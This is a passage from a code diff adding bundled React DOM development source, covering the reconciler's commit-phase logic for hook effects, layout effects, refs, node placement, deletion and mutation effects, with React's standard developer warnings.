+              if ((effect.tag & flags) === flags) {
+                var destroy = effect.destroy;
+                effect.destroy = void 0;
+                if (destroy !== void 0) {
+                  {
+                    if ((flags & Passive$1) !== NoFlags$1) {
+                      markComponentPassiveEffectUnmountStarted(finishedWork);
+                    } else if ((flags & Layout) !== NoFlags$1) {
+                      markComponentLayoutEffectUnmountStarted(finishedWork);
+                    }
+                  }
+                  {
+                    if ((flags & Insertion) !== NoFlags$1) {
+                      setIsRunningInsertionEffect(true);
+                    }
+                  }
+                  safelyCallDestroy(finishedWork, nearestMountedAncestor, destroy);
+                  {
+                    if ((flags & Insertion) !== NoFlags$1) {
+                      setIsRunningInsertionEffect(false);
+                    }
+                  }
+                  {
+                    if ((flags & Passive$1) !== NoFlags$1) {
+                      markComponentPassiveEffectUnmountStopped();
+                    } else if ((flags & Layout) !== NoFlags$1) {
+                      markComponentLayoutEffectUnmountStopped();
+                    }
+                  }
+                }
+              }
+              effect = effect.next;
+            } while (effect !== firstEffect);
+          }
+        }
+        function commitHookEffectListMount(flags, finishedWork) {
+          var updateQueue = finishedWork.updateQueue;
+          var lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;
+          if (lastEffect !== null) {
+            var firstEffect = lastEffect.next;
+            var effect = firstEffect;
+            do {
+              if ((effect.tag & flags) === flags) {
+                {
+                  if ((flags & Passive$1) !== NoFlags$1) {
+                    markComponentPassiveEffectMountStarted(finishedWork);
+                  } else if ((flags & Layout) !== NoFlags$1) {
+                    markComponentLayoutEffectMountStarted(finishedWork);
+                  }
+                }
+                var create = effect.create;
+                {
+                  if ((flags & Insertion) !== NoFlags$1) {
+                    setIsRunningInsertionEffect(true);
+                  }
+                }
+                effect.destroy = create();
+                {
+                  if ((flags & Insertion) !== NoFlags$1) {
+                    setIsRunningInsertionEffect(false);
+                  }
+                }
+                {
+                  if ((flags & Passive$1) !== NoFlags$1) {
+                    markComponentPassiveEffectMountStopped();
+                  } else if ((flags & Layout) !== NoFlags$1) {
+                    markComponentLayoutEffectMountStopped();
+                  }
+                }
+                {
+                  var destroy = effect.destroy;
+                  if (destroy !== void 0 && typeof destroy !== "function") {
+                    var hookName = void 0;
+                    if ((effect.tag & Layout) !== NoFlags) {
+                      hookName = "useLayoutEffect";
+                    } else if ((effect.tag & Insertion) !== NoFlags) {
+                      hookName = "useInsertionEffect";
+                    } else {
+                      hookName = "useEffect";
+                    }
+                    var addendum = void 0;
+                    if (destroy === null) {
+                      addendum = " You returned null. If your effect does not require clean up, return undefined (or nothing).";
+                    } else if (typeof destroy.then === "function") {
+                      addendum = "\n\nIt looks like you wrote " + hookName + "(async () => ...) or returned a Promise. Instead, write the async function inside your effect and call it immediately:\n\n" + hookName + "(() => {\n  async function fetchData() {\n    // You can await here\n    const response = await MyAPI.getData(someId);\n    // ...\n  }\n  fetchData();\n}, [someId]); // Or [] if effect doesn't need props or state\n\nLearn more about data fetching with Hooks: https://reactjs.org/link/hooks-data-fetching";
+                    } else {
+                      addendum = " You returned: " + destroy;
+                    }
+                    error("%s must not return anything besides a function, which is used for clean-up.%s", hookName, addendum);
+                  }
+                }
+              }
+              effect = effect.next;
+            } while (effect !== firstEffect);
+          }
+        }
+        function commitPassiveEffectDurations(finishedRoot, finishedWork) {
+          {
+            if ((finishedWork.flags & Update) !== NoFlags) {
+              switch (finishedWork.tag) {
+                case Profiler: {
+                  var passiveEffectDuration = finishedWork.stateNode.passiveEffectDuration;
+                  var _finishedWork$memoize = finishedWork.memoizedProps, id = _finishedWork$memoize.id, onPostCommit = _finishedWork$memoize.onPostCommit;
+                  var commitTime2 = getCommitTime();
+                  var phase = finishedWork.alternate === null ? "mount" : "update";
+                  {
+                    if (isCurrentUpdateNested()) {
+                      phase = "nested-update";
+                    }
+                  }
+                  if (typeof onPostCommit === "function") {
+                    onPostCommit(id, phase, passiveEffectDuration, commitTime2);
+                  }
+                  var parentFiber = finishedWork.return;
+                  outer:
+                    while (parentFiber !== null) {
+                      switch (parentFiber.tag) {
+                        case HostRoot:
+                          var root2 = parentFiber.stateNode;
+                          root2.passiveEffectDuration += passiveEffectDuration;
+                          break outer;
+                        case Profiler:
+                          var parentStateNode = parentFiber.stateNode;
+                          parentStateNode.passiveEffectDuration += passiveEffectDuration;
+                          break outer;
+                      }
+                      parentFiber = parentFiber.return;
+                    }
+                  break;
+                }
+              }
+            }
+          }
+        }
+        function commitLayoutEffectOnFiber(finishedRoot, current2, finishedWork, committedLanes) {
+          if ((finishedWork.flags & LayoutMask) !== NoFlags) {
+            switch (finishedWork.tag) {
+              case FunctionComponent:
+              case ForwardRef:
+              case SimpleMemoComponent: {
+                if (!offscreenSubtreeWasHidden) {
+                  if (finishedWork.mode & ProfileMode) {
+                    try {
+                      startLayoutEffectTimer();
+                      commitHookEffectListMount(Layout | HasEffect, finishedWork);
+                    } finally {
+                      recordLayoutEffectDuration(finishedWork);
+                    }
+                  } else {
+                    commitHookEffectListMount(Layout | HasEffect, finishedWork);
+                  }
+                }
+                break;
+              }
+              case ClassComponent: {
+                var instance = finishedWork.stateNode;
+                if (finishedWork.flags & Update) {
+                  if (!offscreenSubtreeWasHidden) {
+                    if (current2 === null) {
+                      {
+                        if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
+                          if (instance.props !== finishedWork.memoizedProps) {
+                            error("Expected %s props to match memoized props before componentDidMount. This might either be because of a bug in React, or because a component reassigns its own `this.props`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                          }
+                          if (instance.state !== finishedWork.memoizedState) {
+                            error("Expected %s state to match memoized state before componentDidMount. This might either be because of a bug in React, or because a component reassigns its own `this.state`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                          }
+                        }
+                      }
+                      if (finishedWork.mode & ProfileMode) {
+                        try {
+                          startLayoutEffectTimer();
+                          instance.componentDidMount();
+                        } finally {
+                          recordLayoutEffectDuration(finishedWork);
+                        }
+                      } else {
+                        instance.componentDidMount();
+                      }
+                    } else {
+                      var prevProps = finishedWork.elementType === finishedWork.type ? current2.memoizedProps : resolveDefaultProps(finishedWork.type, current2.memoizedProps);
+                      var prevState = current2.memoizedState;
+                      {
+                        if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
+                          if (instance.props !== finishedWork.memoizedProps) {
+                            error("Expected %s props to match memoized props before componentDidUpdate. This might either be because of a bug in React, or because a component reassigns its own `this.props`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                          }
+                          if (instance.state !== finishedWork.memoizedState) {
+                            error("Expected %s state to match memoized state before componentDidUpdate. This might either be because of a bug in React, or because a component reassigns its own `this.state`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                          }
+                        }
+                      }
+                      if (finishedWork.mode & ProfileMode) {
+                        try {
+                          startLayoutEffectTimer();
+                          instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
+                        } finally {
+                          recordLayoutEffectDuration(finishedWork);
+                        }
+                      } else {
+                        instance.componentDidUpdate(prevProps, prevState, instance.__reactInternalSnapshotBeforeUpdate);
+                      }
+                    }
+                  }
+                }
+                var updateQueue = finishedWork.updateQueue;
+                if (updateQueue !== null) {
+                  {
+                    if (finishedWork.type === finishedWork.elementType && !didWarnAboutReassigningProps) {
+                      if (instance.props !== finishedWork.memoizedProps) {
+                        error("Expected %s props to match memoized props before processing the update queue. This might either be because of a bug in React, or because a component reassigns its own `this.props`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                      }
+                      if (instance.state !== finishedWork.memoizedState) {
+                        error("Expected %s state to match memoized state before processing the update queue. This might either be because of a bug in React, or because a component reassigns its own `this.state`. Please file an issue.", getComponentNameFromFiber(finishedWork) || "instance");
+                      }
+                    }
+                  }
+                  commitUpdateQueue(finishedWork, updateQueue, instance);
+                }
+                break;
+              }
+              case HostRoot: {
+                var _updateQueue = finishedWork.updateQueue;
+                if (_updateQueue !== null) {
+                  var _instance = null;
+                  if (finishedWork.child !== null) {
+                    switch (finishedWork.child.tag) {
+                      case HostComponent:
+                        _instance = getPublicInstance(finishedWork.child.stateNode);
+                        break;
+                      case ClassComponent:
+                        _instance = finishedWork.child.stateNode;
+                        break;
+                    }
+                  }
+                  commitUpdateQueue(finishedWork, _updateQueue, _instance);
+                }
+                break;
+              }
+              case HostComponent: {
+                var _instance2 = finishedWork.stateNode;
+                if (current2 === null && finishedWork.flags & Update) {
+                  var type = finishedWork.type;
+                  var props = finishedWork.memoizedProps;
+                  commitMount(_instance2, type, props);
+                }
+                break;
+              }
+              case HostText: {
+                break;
+              }
+              case HostPortal: {
+                break;
+              }
+              case Profiler: {
+                {
+                  var _finishedWork$memoize2 = finishedWork.memoizedProps, onCommit = _finishedWork$memoize2.onCommit, onRender = _finishedWork$memoize2.onRender;
+                  var effectDuration = finishedWork.stateNode.effectDuration;
+                  var commitTime2 = getCommitTime();
+                  var phase = current2 === null ? "mount" : "update";
+                  {
+                    if (isCurrentUpdateNested()) {
+                      phase = "nested-update";
+                    }
+                  }
+                  if (typeof onRender === "function") {
+                    onRender(finishedWork.memoizedProps.id, phase, finishedWork.actualDuration, finishedWork.treeBaseDuration, finishedWork.actualStartTime, commitTime2);
+                  }
+                  {
+                    if (typeof onCommit === "function") {
+                      onCommit(finishedWork.memoizedProps.id, phase, effectDuration, commitTime2);
+                    }
+                    enqueuePendingPassiveProfilerEffect(finishedWork);
+                    var parentFiber = finishedWork.return;
+                    outer:
+                      while (parentFiber !== null) {
+                        switch (parentFiber.tag) {
+                          case HostRoot:
+                            var root2 = parentFiber.stateNode;
+                            root2.effectDuration += effectDuration;
+                            break outer;
+                          case Profiler:
+                            var parentStateNode = parentFiber.stateNode;
+                            parentStateNode.effectDuration += effectDuration;
+                            break outer;
+                        }
+                        parentFiber = parentFiber.return;
+                      }
+                  }
+                }
+                break;
+              }
+              case SuspenseComponent: {
+                commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);
+                break;
+              }
+              case SuspenseListComponent:
+              case IncompleteClassComponent:
+              case ScopeComponent:
+              case OffscreenComponent:
+              case LegacyHiddenComponent:
+              case TracingMarkerComponent: {
+                break;
+              }
+              default:
+                throw new Error("This unit of work tag should not have side-effects. This error is likely caused by a bug in React. Please file an issue.");
+            }
+          }
+          if (!offscreenSubtreeWasHidden) {
+            {
+              if (finishedWork.flags & Ref) {
+                commitAttachRef(finishedWork);
+              }
+            }
+          }
+        }
+        function reappearLayoutEffectsOnFiber(node) {
+          switch (node.tag) {
+            case FunctionComponent:
+            case ForwardRef:
+            case SimpleMemoComponent: {
+              if (node.mode & ProfileMode) {
+                try {
+                  startLayoutEffectTimer();
+                  safelyCallCommitHookLayoutEffectListMount(node, node.return);
+                } finally {
+                  recordLayoutEffectDuration(node);
+                }
+              } else {
+                safelyCallCommitHookLayoutEffectListMount(node, node.return);
+              }
+              break;
+            }
+            case ClassComponent: {
+              var instance = node.stateNode;
+              if (typeof instance.componentDidMount === "function") {
+                safelyCallComponentDidMount(node, node.return, instance);
+              }
+              safelyAttachRef(node, node.return);
+              break;
+            }
+            case HostComponent: {
+              safelyAttachRef(node, node.return);
+              break;
+            }
+          }
+        }
+        function hideOrUnhideAllChildren(finishedWork, isHidden) {
+          var hostSubtreeRoot = null;
+          {
+            var node = finishedWork;
+            while (true) {
+              if (node.tag === HostComponent) {
+                if (hostSubtreeRoot === null) {
+                  hostSubtreeRoot = node;
+                  try {
+                    var instance = node.stateNode;
+                    if (isHidden) {
+                      hideInstance(instance);
+                    } else {
+                      unhideInstance(node.stateNode, node.memoizedProps);
+                    }
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                }
+              } else if (node.tag === HostText) {
+                if (hostSubtreeRoot === null) {
+                  try {
+                    var _instance3 = node.stateNode;
+                    if (isHidden) {
+                      hideTextInstance(_instance3);
+                    } else {
+                      unhideTextInstance(_instance3, node.memoizedProps);
+                    }
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                }
+              } else if ((node.tag === OffscreenComponent || node.tag === LegacyHiddenComponent) && node.memoizedState !== null && node !== finishedWork)
+                ;
+              else if (node.child !== null) {
+                node.child.return = node;
+                node = node.child;
+                continue;
+              }
+              if (node === finishedWork) {
+                return;
+              }
+              while (node.sibling === null) {
+                if (node.return === null || node.return === finishedWork) {
+                  return;
+                }
+                if (hostSubtreeRoot === node) {
+                  hostSubtreeRoot = null;
+                }
+                node = node.return;
+              }
+              if (hostSubtreeRoot === node) {
+                hostSubtreeRoot = null;
+              }
+              node.sibling.return = node.return;
+              node = node.sibling;
+            }
+          }
+        }
+        function commitAttachRef(finishedWork) {
+          var ref = finishedWork.ref;
+          if (ref !== null) {
+            var instance = finishedWork.stateNode;
+            var instanceToUse;
+            switch (finishedWork.tag) {
+              case HostComponent:
+                instanceToUse = getPublicInstance(instance);
+                break;
+              default:
+                instanceToUse = instance;
+            }
+            if (typeof ref === "function") {
+              var retVal;
+              if (finishedWork.mode & ProfileMode) {
+                try {
+                  startLayoutEffectTimer();
+                  retVal = ref(instanceToUse);
+                } finally {
+                  recordLayoutEffectDuration(finishedWork);
+                }
+              } else {
+                retVal = ref(instanceToUse);
+              }
+              {
+                if (typeof retVal === "function") {
+                  error("Unexpected return value from a callback ref in %s. A callback ref should not return a function.", getComponentNameFromFiber(finishedWork));
+                }
+              }
+            } else {
+              {
+                if (!ref.hasOwnProperty("current")) {
+                  error("Unexpected ref object provided for %s. Use either a ref-setter function or React.createRef().", getComponentNameFromFiber(finishedWork));
+                }
+              }
+              ref.current = instanceToUse;
+            }
+          }
+        }
+        function detachFiberMutation(fiber) {
+          var alternate = fiber.alternate;
+          if (alternate !== null) {
+            alternate.return = null;
+          }
+          fiber.return = null;
+        }
+        function detachFiberAfterEffects(fiber) {
+          var alternate = fiber.alternate;
+          if (alternate !== null) {
+            fiber.alternate = null;
+            detachFiberAfterEffects(alternate);
+          }
+          {
+            fiber.child = null;
+            fiber.deletions = null;
+            fiber.sibling = null;
+            if (fiber.tag === HostComponent) {
+              var hostInstance = fiber.stateNode;
+              if (hostInstance !== null) {
+                detachDeletedInstance(hostInstance);
+              }
+            }
+            fiber.stateNode = null;
+            {
+              fiber._debugOwner = null;
+            }
+            {
+              fiber.return = null;
+              fiber.dependencies = null;
+              fiber.memoizedProps = null;
+              fiber.memoizedState = null;
+              fiber.pendingProps = null;
+              fiber.stateNode = null;
+              fiber.updateQueue = null;
+            }
+          }
+        }
+        function getHostParentFiber(fiber) {
+          var parent = fiber.return;
+          while (parent !== null) {
+            if (isHostParent(parent)) {
+              return parent;
+            }
+            parent = parent.return;
+          }
+          throw new Error("Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.");
+        }
+        function isHostParent(fiber) {
+          return fiber.tag === HostComponent || fiber.tag === HostRoot || fiber.tag === HostPortal;
+        }
+        function getHostSibling(fiber) {
+          var node = fiber;
+          siblings:
+            while (true) {
+              while (node.sibling === null) {
+                if (node.return === null || isHostParent(node.return)) {
+                  return null;
+                }
+                node = node.return;
+              }
+              node.sibling.return = node.return;
+              node = node.sibling;
+              while (node.tag !== HostComponent && node.tag !== HostText && node.tag !== DehydratedFragment) {
+                if (node.flags & Placement) {
+                  continue siblings;
+                }
+                if (node.child === null || node.tag === HostPortal) {
+                  continue siblings;
+                } else {
+                  node.child.return = node;
+                  node = node.child;
+                }
+              }
+              if (!(node.flags & Placement)) {
+                return node.stateNode;
+              }
+            }
+        }
+        function commitPlacement(finishedWork) {
+          var parentFiber = getHostParentFiber(finishedWork);
+          switch (parentFiber.tag) {
+            case HostComponent: {
+              var parent = parentFiber.stateNode;
+              if (parentFiber.flags & ContentReset) {
+                resetTextContent(parent);
+                parentFiber.flags &= ~ContentReset;
+              }
+              var before = getHostSibling(finishedWork);
+              insertOrAppendPlacementNode(finishedWork, before, parent);
+              break;
+            }
+            case HostRoot:
+            case HostPortal: {
+              var _parent = parentFiber.stateNode.containerInfo;
+              var _before = getHostSibling(finishedWork);
+              insertOrAppendPlacementNodeIntoContainer(finishedWork, _before, _parent);
+              break;
+            }
+            default:
+              throw new Error("Invalid host parent fiber. This error is likely caused by a bug in React. Please file an issue.");
+          }
+        }
+        function insertOrAppendPlacementNodeIntoContainer(node, before, parent) {
+          var tag = node.tag;
+          var isHost = tag === HostComponent || tag === HostText;
+          if (isHost) {
+            var stateNode = node.stateNode;
+            if (before) {
+              insertInContainerBefore(parent, stateNode, before);
+            } else {
+              appendChildToContainer(parent, stateNode);
+            }
+          } else if (tag === HostPortal)
+            ;
+          else {
+            var child = node.child;
+            if (child !== null) {
+              insertOrAppendPlacementNodeIntoContainer(child, before, parent);
+              var sibling = child.sibling;
+              while (sibling !== null) {
+                insertOrAppendPlacementNodeIntoContainer(sibling, before, parent);
+                sibling = sibling.sibling;
+              }
+            }
+          }
+        }
+        function insertOrAppendPlacementNode(node, before, parent) {
+          var tag = node.tag;
+          var isHost = tag === HostComponent || tag === HostText;
+          if (isHost) {
+            var stateNode = node.stateNode;
+            if (before) {
+              insertBefore(parent, stateNode, before);
+            } else {
+              appendChild(parent, stateNode);
+            }
+          } else if (tag === HostPortal)
+            ;
+          else {
+            var child = node.child;
+            if (child !== null) {
+              insertOrAppendPlacementNode(child, before, parent);
+              var sibling = child.sibling;
+              while (sibling !== null) {
+                insertOrAppendPlacementNode(sibling, before, parent);
+                sibling = sibling.sibling;
+              }
+            }
+          }
+        }
+        var hostParent = null;
+        var hostParentIsContainer = false;
+        function commitDeletionEffects(root2, returnFiber, deletedFiber) {
+          {
+            var parent = returnFiber;
+            findParent:
+              while (parent !== null) {
+                switch (parent.tag) {
+                  case HostComponent: {
+                    hostParent = parent.stateNode;
+                    hostParentIsContainer = false;
+                    break findParent;
+                  }
+                  case HostRoot: {
+                    hostParent = parent.stateNode.containerInfo;
+                    hostParentIsContainer = true;
+                    break findParent;
+                  }
+                  case HostPortal: {
+                    hostParent = parent.stateNode.containerInfo;
+                    hostParentIsContainer = true;
+                    break findParent;
+                  }
+                }
+                parent = parent.return;
+              }
+            if (hostParent === null) {
+              throw new Error("Expected to find a host parent. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            commitDeletionEffectsOnFiber(root2, returnFiber, deletedFiber);
+            hostParent = null;
+            hostParentIsContainer = false;
+          }
+          detachFiberMutation(deletedFiber);
+        }
+        function recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, parent) {
+          var child = parent.child;
+          while (child !== null) {
+            commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, child);
+            child = child.sibling;
+          }
+        }
+        function commitDeletionEffectsOnFiber(finishedRoot, nearestMountedAncestor, deletedFiber) {
+          onCommitUnmount(deletedFiber);
+          switch (deletedFiber.tag) {
+            case HostComponent: {
+              if (!offscreenSubtreeWasHidden) {
+                safelyDetachRef(deletedFiber, nearestMountedAncestor);
+              }
+            }
+            case HostText: {
+              {
+                var prevHostParent = hostParent;
+                var prevHostParentIsContainer = hostParentIsContainer;
+                hostParent = null;
+                recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+                hostParent = prevHostParent;
+                hostParentIsContainer = prevHostParentIsContainer;
+                if (hostParent !== null) {
+                  if (hostParentIsContainer) {
+                    removeChildFromContainer(hostParent, deletedFiber.stateNode);
+                  } else {
+                    removeChild(hostParent, deletedFiber.stateNode);
+                  }
+                }
+              }
+              return;
+            }
+            case DehydratedFragment: {
+              {
+                if (hostParent !== null) {
+                  if (hostParentIsContainer) {
+                    clearSuspenseBoundaryFromContainer(hostParent, deletedFiber.stateNode);
+                  } else {
+                    clearSuspenseBoundary(hostParent, deletedFiber.stateNode);
+                  }
+                }
+              }
+              return;
+            }
+            case HostPortal: {
+              {
+                var _prevHostParent = hostParent;
+                var _prevHostParentIsContainer = hostParentIsContainer;
+                hostParent = deletedFiber.stateNode.containerInfo;
+                hostParentIsContainer = true;
+                recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+                hostParent = _prevHostParent;
+                hostParentIsContainer = _prevHostParentIsContainer;
+              }
+              return;
+            }
+            case FunctionComponent:
+            case ForwardRef:
+            case MemoComponent:
+            case SimpleMemoComponent: {
+              if (!offscreenSubtreeWasHidden) {
+                var updateQueue = deletedFiber.updateQueue;
+                if (updateQueue !== null) {
+                  var lastEffect = updateQueue.lastEffect;
+                  if (lastEffect !== null) {
+                    var firstEffect = lastEffect.next;
+                    var effect = firstEffect;
+                    do {
+                      var _effect = effect, destroy = _effect.destroy, tag = _effect.tag;
+                      if (destroy !== void 0) {
+                        if ((tag & Insertion) !== NoFlags$1) {
+                          safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
+                        } else if ((tag & Layout) !== NoFlags$1) {
+                          {
+                            markComponentLayoutEffectUnmountStarted(deletedFiber);
+                          }
+                          if (deletedFiber.mode & ProfileMode) {
+                            startLayoutEffectTimer();
+                            safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
+                            recordLayoutEffectDuration(deletedFiber);
+                          } else {
+                            safelyCallDestroy(deletedFiber, nearestMountedAncestor, destroy);
+                          }
+                          {
+                            markComponentLayoutEffectUnmountStopped();
+                          }
+                        }
+                      }
+                      effect = effect.next;
+                    } while (effect !== firstEffect);
+                  }
+                }
+              }
+              recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+              return;
+            }
+            case ClassComponent: {
+              if (!offscreenSubtreeWasHidden) {
+                safelyDetachRef(deletedFiber, nearestMountedAncestor);
+                var instance = deletedFiber.stateNode;
+                if (typeof instance.componentWillUnmount === "function") {
+                  safelyCallComponentWillUnmount(deletedFiber, nearestMountedAncestor, instance);
+                }
+              }
+              recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+              return;
+            }
+            case ScopeComponent: {
+              recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+              return;
+            }
+            case OffscreenComponent: {
+              if (deletedFiber.mode & ConcurrentMode) {
+                var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
+                offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden || deletedFiber.memoizedState !== null;
+                recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+                offscreenSubtreeWasHidden = prevOffscreenSubtreeWasHidden;
+              } else {
+                recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+              }
+              break;
+            }
+            default: {
+              recursivelyTraverseDeletionEffects(finishedRoot, nearestMountedAncestor, deletedFiber);
+              return;
+            }
+          }
+        }
+        function commitSuspenseCallback(finishedWork) {
+          var newState = finishedWork.memoizedState;
+        }
+        function commitSuspenseHydrationCallbacks(finishedRoot, finishedWork) {
+          var newState = finishedWork.memoizedState;
+          if (newState === null) {
+            var current2 = finishedWork.alternate;
+            if (current2 !== null) {
+              var prevState = current2.memoizedState;
+              if (prevState !== null) {
+                var suspenseInstance = prevState.dehydrated;
+                if (suspenseInstance !== null) {
+                  commitHydratedSuspenseInstance(suspenseInstance);
+                }
+              }
+            }
+          }
+        }
+        function attachSuspenseRetryListeners(finishedWork) {
+          var wakeables = finishedWork.updateQueue;
+          if (wakeables !== null) {
+            finishedWork.updateQueue = null;
+            var retryCache = finishedWork.stateNode;
+            if (retryCache === null) {
+              retryCache = finishedWork.stateNode = new PossiblyWeakSet();
+            }
+            wakeables.forEach(function(wakeable) {
+              var retry = resolveRetryWakeable.bind(null, finishedWork, wakeable);
+              if (!retryCache.has(wakeable)) {
+                retryCache.add(wakeable);
+                {
+                  if (isDevToolsPresent) {
+                    if (inProgressLanes !== null && inProgressRoot !== null) {
+                      restorePendingUpdaters(inProgressRoot, inProgressLanes);
+                    } else {
+                      throw Error("Expected finished root and lanes to be set. This is a bug in React.");
+                    }
+                  }
+                }
+                wakeable.then(retry, retry);
+              }
+            });
+          }
+        }
+        function commitMutationEffects(root2, finishedWork, committedLanes) {
+          inProgressLanes = committedLanes;
+          inProgressRoot = root2;
+          setCurrentFiber(finishedWork);
+          commitMutationEffectsOnFiber(finishedWork, root2);
+          setCurrentFiber(finishedWork);
+          inProgressLanes = null;
+          inProgressRoot = null;
+        }
+        function recursivelyTraverseMutationEffects(root2, parentFiber, lanes) {
+          var deletions = parentFiber.deletions;
+          if (deletions !== null) {
+            for (var i2 = 0; i2 < deletions.length; i2++) {
+              var childToDelete = deletions[i2];
+              try {
+                commitDeletionEffects(root2, parentFiber, childToDelete);
+              } catch (error2) {
+                captureCommitPhaseError(childToDelete, parentFiber, error2);
+              }
+            }
+          }
+          var prevDebugFiber = getCurrentFiber();
+          if (parentFiber.subtreeFlags & MutationMask) {
+            var child = parentFiber.child;
+            while (child !== null) {
+              setCurrentFiber(child);
+              commitMutationEffectsOnFiber(child, root2);
+              child = child.sibling;
+            }
+          }
+          setCurrentFiber(prevDebugFiber);
+        }
+        function commitMutationEffectsOnFiber(finishedWork, root2, lanes) {
+          var current2 = finishedWork.alternate;
+          var flags = finishedWork.flags;
+          switch (finishedWork.tag) {
+            case FunctionComponent:
+            case ForwardRef:
+            case MemoComponent:
+            case SimpleMemoComponent: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Update) {
+                try {
+                  commitHookEffectListUnmount(Insertion | HasEffect, finishedWork, finishedWork.return);
+                  commitHookEffectListMount(Insertion | HasEffect, finishedWork);
+                } catch (error2) {
+                  captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                }
+                if (finishedWork.mode & ProfileMode) {
+                  try {
+                    startLayoutEffectTimer();
+                    commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                  recordLayoutEffectDuration(finishedWork);
+                } else {
+                  try {
+                    commitHookEffectListUnmount(Layout | HasEffect, finishedWork, finishedWork.return);
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                }
+              }
+              return;
+            }
+            case ClassComponent: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Ref) {
+                if (current2 !== null) {
+                  safelyDetachRef(current2, current2.return);
+                }
+              }
+              return;
+            }
+            case HostComponent: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Ref) {
+                if (current2 !== null) {
+                  safelyDetachRef(current2, current2.return);
+                }
+              }
+              {
+                if (finishedWork.flags & ContentReset) {
+                  var instance = finishedWork.stateNode;
+                  try {
+                    resetTextContent(instance);
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                }
+                if (flags & Update) {
+                  var _instance4 = finishedWork.stateNode;
+                  if (_instance4 != null) {
+                    var newProps = finishedWork.memoizedProps;
+                    var oldProps = current2 !== null ? current2.memoizedProps : newProps;
+                    var type = finishedWork.type;
+                    var updatePayload = finishedWork.updateQueue;
+                    finishedWork.updateQueue = null;
+                    if (updatePayload !== null) {
+                      try {
+                        commitUpdate(_instance4, updatePayload, type, oldProps, newProps, finishedWork);
+                      } catch (error2) {
+                        captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                      }
+                    }
+                  }
+                }
+              }
+              return;
+            }
+            case HostText: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Update) {
+                {
+                  if (finishedWork.stateNode === null) {
+                    throw new Error("This should have a text node initialized. This error is likely caused by a bug in React. Please file an issue.");
+                  }
+                  var textInstance = finishedWork.stateNode;
+                  var newText = finishedWork.memoizedProps;
+                  var oldText = current2 !== null ? current2.memoizedProps : newText;
+                  try {
+                    commitTextUpdate(textInstance, oldText, newText);
+                  } catch (error2) {
+                    captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                  }
+                }
+              }
+              return;
+            }
+            case HostRoot: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              if (flags & Update) {
+                {
+                  if (current2 !== null) {
+                    var prevRootState = current2.memoizedState;
+                    if (prevRootState.isDehydrated) {
+                      try {
+                        commitHydratedContainer(root2.containerInfo);
+                      } catch (error2) {
+                        captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                      }
+                    }
+                  }
+                }
+              }
+              return;
+            }
+            case HostPortal: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              return;
+            }
+            case SuspenseComponent: {
+              recursivelyTraverseMutationEffects(root2, finishedWork);
+              commitReconciliationEffects(finishedWork);
+              var offscreenFiber = finishedWork.child;
+              if (offscreenFiber.flags & Visibility) {
+                var offscreenInstance = offscreenFiber.stateNode;
+                var newState = offscreenFiber.memoizedState;
+                var isHidden = newState !== null;
+                offscreenInstance.isHidden = isHidden;
+                if (isHidden) {
+                  var wasHidden = offscreenFiber.alternate !== null && offscreenFiber.alternate.memoizedState !== null;
+                  if (!wasHidden) {
+                    markCommitTimeOfFallback();
+                  }
+                }
+              }
+              if (flags & Update) {
+                try {
+                  commitSuspenseCallback(finishedWork);
+                } catch (error2) {
+                  captureCommitPhaseError(finishedWork, finishedWork.return, error2);
+                }
+                attachSuspenseRetryListeners(finishedWork);
+              }
+              return;
+            }
+            case OffscreenComponent: {
+              var _wasHidden = current2 !== null && current2.memoizedState !== null;
+              if (finishedWork.mode & ConcurrentMode) {
+                var prevOffscreenSubtreeWasHidden = offscreenSubtreeWasHidden;
